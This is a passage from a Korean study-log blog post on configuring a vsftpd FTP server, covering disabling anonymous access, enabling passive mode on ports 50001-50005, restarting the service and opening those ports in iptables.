anonymous_enable=YES -> anonymous_enable=no



추가 
패시브 모드는 서버가 데이터를 송신해줄 임의의 포트를 열고 클라이언트에 알려주면 클라이언트는 서버의 임의의 포트에 접속하여 데이터를 가져감

pasv_enable=YES

pasv_min_port=50001

pasv_max_port=50005



3.FTP 실행 

# /etc/init.d/vsftpd stop

# /etc/init.d/vsftpd start



4.프로세스 확인

# ps -ef | grep vsftpd



5.방화벽 수정

# vi /etc/sysconfig/iptables



포트 추가 (50001:50005) 

-A INPUT -m state --state NEW -m tcp -p tcp --dport 50001:50005 -j ACCEPT 



6.방화벽 재시작

# service iptables restart



7.포트 확인

# iptables -nL




액티브 모드는 “클라이언트가 서버에 접속을 하는 것이 아닌 서버가 클라이언트에 접속을 하는 것”을 확인


'정보보안 > 공부 기록' 카테고리의 다른 글

XSS  (0) 2023.01.01
HSRP, VRRP  (0) 2023.01.01
게이트웨이 이중화  (0) 2023.01.01
VLAN  (0) 2023.01.01
VPN  (0) 2023.01.01

+ Recent posts